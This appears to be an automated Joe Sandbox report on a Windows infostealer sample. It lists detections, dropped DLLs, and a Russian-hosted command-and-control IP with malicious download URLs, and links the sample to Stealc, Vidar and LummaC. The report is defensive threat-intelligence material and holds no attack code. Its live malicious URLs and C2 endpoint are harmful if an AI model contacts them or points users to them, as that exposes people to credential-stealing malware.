Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1310458
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	URL Reputation	malware
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://46.8.231.109	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dllNgH	MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false		unknown
https://duckduckgo.com/ac/?q=	MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BKJDGCGD.2.dr	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll2f	MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpEAU	MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KKJEBAAECBGDHIECAKJK.2.dr	false		unknown
http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-msJY	MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllRg	MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpe	MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109	MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----HDGIJJDGCBKFIDHIEBKEaultrelease	MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dllM	MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll9h	MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109GCFHIrm-data;	MSBuild.exe, 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MSBuild.exe, 00000002.00000002.2473207536.0000000001451000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dllB	MSBuild.exe, 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllffP	MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpUP	MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpT.	MSBuild.exe, 00000002.00000002.2491491521.0000000027811000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlltfB	MSBuild.exe, 00000002.00000002.2473207536.0000000001436000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	MSBuild.exe, 00000002.00000002.2491491521.0000000027801000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.2.dr	false		unknown
https://support.mozilla.org	EGDGCGCFHIEHIDGDBAAEHJDAFB.2.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BKJDGCGD.2.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000002.00000002.2484948699.000000001B669000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2498192346.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation		28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528241
Start date and time:	2024-10-07 17:21:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/28@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 88 Number of non-executed functions: 236
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.160.20, 40.126.32.76, 40.126.32.134, 20.190.160.22, 40.126.32.133, 20.190.160.17, 40.126.32.74, 40.126.32.136, 199.232.214.172, 192.229.221.95, 20.109.210.53, 184.28.90.27, 52.165.164.15, 20.42.65.92, 4.245.163.56, 199.232.210.172
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:22:16	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	https://issuu.com/smart_media/docs/die_welt_wirtschaft/19	Get hash	malicious	Unknown	Browse	13.107.246.60
	original.eml	Get hash	malicious	Tycoon2FA	Browse	13.107.246.60
	http://twbcompany.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://www.twbcompany.com	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://pub-7571f8ffd5b243f892961d4b09c69e36.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://pub-92d27a69cbfc4f16942faf2ba89c0aa3.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://pub-cc660360e3d14203be254963e70e6e85.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://pub-21e2ca3bca8444aab694f2d286d3f97f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://pub-53d8c8824459455a8bb62d4b9a0d5f2f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
fp2e7a.wpc.phicdn.net	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	uhwovHh7pS.msi	Get hash	malicious	VMdetect	Browse	192.229.221.95
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	192.229.221.95
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	https://issuu.com/smart_media/docs/die_welt_wirtschaft/19	Get hash	malicious	Unknown	Browse	192.229.221.95
	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	192.229.221.95
bg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Stealc	Browse	199.232.210.172
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://protect2.fireeye.com/v1/url?k=31323334-50bba2bf-3132a9b3-4544474f5631-9e1721db7158d01a&q=1&e=fd99754d-b74a-4ce2-bf27-63a41e808f94&u=https%3A%2F%2Fwww.rhris.com%2FEmailEmploymentValidation.cfm%3FEmploymentRefID%3DE84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://eu.pbe.encryption.symantec.com/login.html?msgUserId=682e23d9f715c97c&enterprise=lgas&locale=en_US	Get hash	malicious	Unknown	Browse	199.232.210.172
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse	199.232.210.172
	https://www.masonpost.com:443/cgi-bin/redir?https://ctrk.klclick3.com/l/01J9K8KGETH6JCWEWSWY0Z1M23_0?upn=u001.itvpsDR1UD2k9ruxjm0OAspgqcVOQ2hpn9lpb50VxZJdbi9nOzDV7HSnhKeIcaLQsgzZhAfJ867-2F8IcC-2BBYACBF80J8eA0O7PKeZKrlC1Q54Fj-2FS5ho91OPbLHjsGsZQWTyMbbJfNaQPKh9-2FKW31wr-2BMvAwYD85cdCTmlJyLauY-3D1xqt_Zis0fkz6H88oOTECUjdmAu-2FGkDDLbhQT-2B-2B9-2BD8-2Fn-2BuGRBn47ofPUerdduk-2BghIIr31LJs6iNd0rpuOZI5rlm3TOpkCWZ1eNCAWCuASI4dMP9Tv6jbA2UWTI2YWLmFZqgYeVzSc0Fb4o9iKg-2BzjSlX63m5ZgVPzXZ0W3SrrpOTDVmr8Vwd0xwSjxu9efo9kpJLVs7HOh7Cib6eG0OHldiYrljs5jy-2BsmDgNausa6sMCHSoHHj10FI3IfGuCnAD3e6jEbbsHVD11-2FD9cWADvkKxwETdgNpgixeie55jSwivWDLRKcdIczYG3CyTpA1Y18cj-2FBGLZEHTJvF1rd5yfWClPzV1Xw6x2CQgpVVbtrTE5NXtV8WFomzmraH-2FRE0uCvY#QE5lb19IYWNrZXJAb2ZmaWNlLmNvbQ==	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://twbcompany.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://emmaway-my.sharepoint.com/:f:/g/personal/jessica_emmaway_uk/Eodal0AmsKFKtMeEeNJG0V0B3d0_hcKMrsOYen-8p5FxhQ?e=bBSdNW	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc	Browse	46.8.231.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.60
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	8ID0109FLT24PO92CD-R.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://protect2.fireeye.com/v1/url?k=31323334-50bba2bf-3132a9b3-4544474f5631-9e1721db7158d01a&q=1&e=fd99754d-b74a-4ce2-bf27-63a41e808f94&u=https%3A%2F%2Fwww.rhris.com%2FEmailEmploymentValidation.cfm%3FEmploymentRefID%3DE84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	13.107.246.60
	VML S.A..pdf	Get hash	malicious	HtmlDropper	Browse	13.107.246.60
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	13.107.246.60

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	gIXLkTvFeC.exe	Get hash	malicious	Vidar	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	0FZVLEdDuc.exe	Get hash	malicious	Vidar	Browse
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BKJDGCGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
